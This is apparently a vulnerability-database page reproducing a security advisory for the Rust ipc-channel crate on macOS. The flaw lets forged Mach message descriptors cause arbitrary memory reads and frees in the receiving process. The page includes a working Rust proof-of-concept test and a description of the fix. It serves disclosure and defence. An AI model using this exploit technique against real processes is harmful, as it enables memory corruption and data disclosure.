GHSA-fj85-w6rj-rxrc: 
Rust analisi e mitigazione delle vulnerabilità

Summary

On macOS, the receive path in src/platform/macos/mod.rs trusts the body of every received Mach message. A process holding a send right to an ipc-channel receiver can send a simple (non-complex) message whose body imitates descriptors. The receiver then reads from and vm_deallocates an address and size the sender chose. All releases up to and including 0.23.0 are affected; other platforms are not.

Details

In select():

  • The received header's MACH_MSGH_BITS_COMPLEX bit is never checked. The kernel writes descriptors only into complex messages; in a simple message, body.msgh_descriptor_count and every "descriptor" after it are bytes the sender chose.
  • The port loop turns sender-chosen values into port names (OsOpaqueIpcChannel::from_name).
  • The out-of-line loop checks the descriptor type only with debug_assert!, then builds OsIpcSharedMemory::from_raw_parts(address, size) from sender-chosen values. Dropping that region calls vm_deallocate(mach_task_self(), address, size).
  • If the inline-data flag (also sender-chosen, and read as a Rust bool) is false, the last such region is popped and copied with .to_vec(). That reads a sender-chosen range of the receiver's memory and returns it to the caller as the payload, then deallocates the range.
  • The descriptor walk is not bounded by msgh_size, so a large count walks past the receive buffer. The inline payload check (assert!(payload_size <= max_payload_size)) does not account for the flag, padding and size field, so a payload can extend into the trailer. Invalid input panics (assert!, expect) instead of returning an error. Who can send: any holder of a send right. For an IpcOneShotServer, that is any process in the same bootstrap namespace that learns the server's name (often passed to a child on its command line). For an established channel, it is any process that was handed a sender, for example a less trusted child process.

PoC

Against main at 6326a1a (v0.23.0), as a test module inside src/platform/macos (#[cfg(test)] mod poc; in mod.rs):

use super::mach_sys::{self, mach_msg_header_t, mach_msg_ool_descriptor_t};
use super::{
    mach_task_self, OsIpcOneShotServer, OsIpcSender, KERN_SUCCESS, MACH_MSG_OOL_DESCRIPTOR,
    MACH_MSG_SUCCESS, MACH_MSG_TIMEOUT_NONE, MACH_MSG_TYPE_COPY_SEND, MACH_MSG_VIRTUAL_COPY,
    MACH_PORT_NULL, MACH_SEND_MSG,
};
use std::{mem, ptr, slice};
const SIZE: usize = 16384;
const TAG: u32 = 250; // VM_MEMORY_APPLICATION_SPECIFIC_11
fn tagged_page() -> *mut u8 {
    let mut address = 0;
    let flags = 1 | (TAG << 24) as i32; // VM_FLAGS_ANYWHERE | VM_MAKE_TAG(TAG)
    let result = unsafe { mach_sys::vm_allocate(mach_task_self(), &mut address, SIZE, flags) };
    assert_eq!(result, KERN_SUCCESS);
    unsafe { ptr::write_bytes(address as *mut u8, 0xa5, SIZE) };
    address as *mut u8
}
fn is_mapped(address: *mut u8) -> bool {
    let address = address as usize;
    let (mut region, mut size, mut depth) = (address, 0, 0);
    let mut info: mach_sys::vm_region_submap_info_64 = unsafe { mem::zeroed() };
    let mut count = (mem::size_of_val(&info) / 4) as u32;
    let result = unsafe {
        mach_sys::vm_region_recurse_64(
            mach_task_self(),
            &mut region,
            &mut size,
            &mut depth,
            &mut info as *mut _ as mach_sys::vm_region_recurse_info_t,
            &mut count,
        )
    };
    let tag = info.user_tag;
    result == KERN_SUCCESS && region <= address && address < region + size && tag == TAG
}
#[test]
fn simple_message_with_a_fake_region() {
    let (server, name) = OsIpcOneShotServer::new().unwrap();
    let sender = OsIpcSender::connect(name).unwrap();
    let page = tagged_page();
    // A simple message: descriptor count 1, one fake out-of-line descriptor
    // naming `page`, inline-data flag 0.
    let mut body = 1u32.to_ne_bytes().to_vec();
    let mut descriptor: mach_msg_ool_descriptor_t = unsafe { mem::zeroed() };
    descriptor.address = page as *mut _;
    descriptor.size = SIZE as u32;
    descriptor.set_copy(MACH_MSG_VIRTUAL_COPY);
    descriptor.set_type(MACH_MSG_OOL_DESCRIPTOR);
    body.extend_from_slice(unsafe {
        slice::from_raw_parts(&descriptor as *const _ as *const u8, mem::size_of_val(&descriptor))
    });
    body.push(0);
    let size = (mem::size_of::<mach_msg_header_t>() + body.len()).next_multiple_of(4);
    let mut buffer = vec![0u64; size.div_ceil(8)];
    let header = buffer.as_mut_ptr() as *mut mach_msg_header_t;
    let result = unsafe {
        (*header).msgh_bits = MACH_MSG_TYPE_COPY_SEND as u32;
        (*header).msgh_size = size as u32;
        (*header).msgh_remote_port = sender.port;
        (*header).msgh_local_port = MACH_PORT_NULL;
        ptr::copy_nonoverlapping(
            body.as_ptr(),
            (header as *mut u8).add(mem::size_of::<mach_msg_header_t>()),
            body.len(),
        );
        mach_sys::mach_msg(header, MACH_SEND_MSG, size as u32, 0, MACH_PORT_NULL,
            MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL)
    };
    assert_eq!(result, MACH_MSG_SUCCESS);
    assert!(is_mapped(page));
    let (_receiver, message) = server.accept().unwrap();
    // The payload is the receiver's own page, and the page has been freed.
    assert!(message.data.len() == SIZE && message.data.iter().all(|byte| *byte == 0xa5));
    assert!(!is_mapped(page));
}

On macOS 26 (arm64) this test passes: accept() succeeds, the payload is the receiver's page, and the page is no longer mapped afterwards.

Impact

Memory corruption in the receiving process: an arbitrary read whose result is returned to the caller, and vm_deallocate of an arbitrary range, which can be turned into a use-after-free. Programs whose receivers can get messages from a less trusted process are exposed, for example a parent receiving from sandboxed children, or a one-shot server whose name another local process can learn. We found it in Firefox Enterprise, which uses ipc-channel between its launcher and the browser on macOS.

Fix

We have a patch against main (6326a1a), with tests, and can push it to a temporary private fork or attach it here. It makes the receive path check that a message has the layout OsIpcSender::send writes before using any part of it:

  • Descriptors are read only from complex messages; a simple message must claim none.
  • Descriptor types are checked in release builds too: port descriptors first, then out-of-line descriptors, nothing else.
  • The descriptor walk, the inline-data flag (0 or 1) and the inline payload are bounded by msgh_size with checked arithmetic.
  • A message that fails a check is destroyed with mach_msg_destroy (after marking every out-of-line region for deallocation, since mach_msg_destroy skips physical-copy and volatile regions), and recv, select and accept return a new MachError::RcvMalformedMessage instead of panicking.
  • OsIpcSharedMemory derefs a null, zero-length region (how the kernel delivers an empty out-of-line region) as an empty slice. It adds src/platform/macos/tests.rs with 21 tests and no new dependencies. The full suite passes on macOS in debug and release and with enable-slow-tests, async and force-inprocess; rustfmt and clippy (stable and 1.86) are clean for the changed files. The same fix is already public in Mozilla's fork of the crate: https://github.com/mozilla/ipc-channel/pull/7. It does not mention Servo or upstream, but it shows the issue to anyone who compares the two.

Found while working on this and not fixed by the patch; none is memory corruption. We are happy to send fixes for these too:

  • A message with msgh_id set to MACH_NOTIFY_NO_SENDERS is treated as the kernel's no-senders notification before any validation, so a sender can make a receiver report itself closed, and the message's rights are leaked.
  • A reply right attached to an accepted message (in msgh_remote_port) is never released, so a sender can exhaust the receiver's port names.
  • Port dispositions are not checked, so a send right delivered where a receiver is expected panics when dropped.
  • When mach_msg returns MACH_RCV_BODY_ERROR, the partly delivered message is not destroyed (from reading XNU, not reproduced).
  • deserialize_os_ipc_sender and deserialize_os_ipc_receiver panic on an out-of-range port index from the payload.
  • OsIpcSharedMemory::from_byte(_, 0) builds a slice from a null pointer. Please credit johnreitano, lissyx and gcp (all Mozilla).

Fonte: NVD

Vulnerabilità correlate di Rust:

CVE ID

Gravità

Punteggio

Tecnologie

Nome del componente

Exploit CISA KEV

Dispone di patch

Data di pubblicazione

GHSA-fj85-w6rj-rxrcHIGH7.8
  • Rust logoRust
  • ipc-channel
NoSìOct 24, 2026
GHSA-j7hq-qg5v-47jqHIGH7.5
  • Rust logoRust
  • comrak
NoNoOct 25, 2026
GHSA-jh74-jr8c-55p8LOWN/D
  • Rust logoRust
  • kule
NoSìOct 25, 2026
GHSA-hfhv-fmf7-8x37MEDIUMN/D
  • Rust logoRust
  • auth-framework
NoSìOct 24, 2026
GHSA-v8f6-5mx7-9fffLOWN/D
  • Rust logoRust
  • kule
NoSìOct 24, 2026

Valutazione gratuita delle vulnerabilità

Valuta la tua postura di sicurezza del cloud

Valuta le tue pratiche di sicurezza del cloud in 9 domini di sicurezza per stabilire un benchmark del tuo livello di rischio e identificare le lacune nelle tue difese.

Richiedi valutazione

Ulteriori risorse Wiz

Richiedi una demo personalizzata

Pronti a vedere Wiz in azione?

"La migliore esperienza utente che abbia mai visto offre piena visibilità ai carichi di lavoro cloud."
David EstlickCISO (CISO)
"Wiz fornisce un unico pannello di controllo per vedere cosa sta succedendo nei nostri ambienti cloud."
Adam FletcherResponsabile della sicurezza
"Sappiamo che se Wiz identifica qualcosa come critico, in realtà lo è."
Greg PoniatowskiResponsabile della gestione delle minacce e delle vulnerabilità